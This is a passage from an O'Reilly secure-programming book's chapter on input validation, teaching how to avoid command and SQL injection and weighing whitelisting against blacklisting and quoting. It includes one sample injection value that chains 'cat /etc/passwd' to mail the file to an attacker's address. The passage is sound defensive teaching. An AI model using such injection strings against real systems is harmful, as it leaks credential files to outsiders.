Problem - Kevin Tafuro

Beware of special commands, characters, and quoting.
One obvious thing to do when using a command language such as the Unix shell
or SQLis to construct commands in trusted software, instead of allowing users
to send commands that get proxied. However, there is another “gotcha” here.
Suppose that you provide users the ability to search a database for a word. When
the user gives you that word, you may be inclined to concatenate it to your SQL
command. If you do not validate the input, the user might be able to run other
commands.
Consider what happens if you have a server application that, among other
things, can send email. Suppose that the email address comes from an untrusted
client. If the email address is placed into a buffer using a format string like “/bin/
mail %s < /tmp/email”, what happens if the user submits the following email
address: “dummy@address.com; cat /etc/passwd | mail some@attacker.org”?
Make policy decisions based on a “default deny” rule.
There are two different approaches to data filtering. With the first, known as
whitelisting, you accept input as valid only if it meets specific criteria. Otherwise,
you reject it. If you do this, the major thing you need to worry about is
whether the rules that define your whitelist are actually correct!
With the other approach, known as blacklisting, you reject only those things that
are known to be bad. It is much easier to get your policy wrong when you take
this approach.
For example, if you really want to invoke a mail program by calling a shell, you
might take a whitelist approach in which you allow only well-formed email
addresses, as discussed in Recipe 3.9. Or you might use a slightly more liberal
(less exact) whitelist policy in which you only allow letters, digits, the @ sign,
and periods.
With a blacklist approach, you might try to block out every character that might
be leveraged in an attack. It is hard to be sure that you are not missing something
here, particularly if you try to consider every single operational environment
in which your software may be deployed. For example, if calling out to a
shell, you may find all the special characters for the bash shell and check for
those, but leave people using tcsh (or something unusual) open to attack.
You can look for a quoting mechanism, but know how to use it properly.
Sometimes, you really do need to be able to accept arbitrary data from an
untrusted source and use that data in a security-critical way. For example, you
might want to be able to put arbitrary contents from arbitrary documents into a
database. In such a case, you might look for some kind of quoting mechanism.
For example, you can usually stick untrusted data in single quotes in such an
environment.
However, you need to be aware of ways in which an attacker can leave the
quoted environment, and you must actively make sure that the attacker does not
74 | Chapter 3: Input Validation
This is the Title of the Book, eMatter Edition
Copyright © 2007 O’Reilly & Associates, Inc. All rights reserved.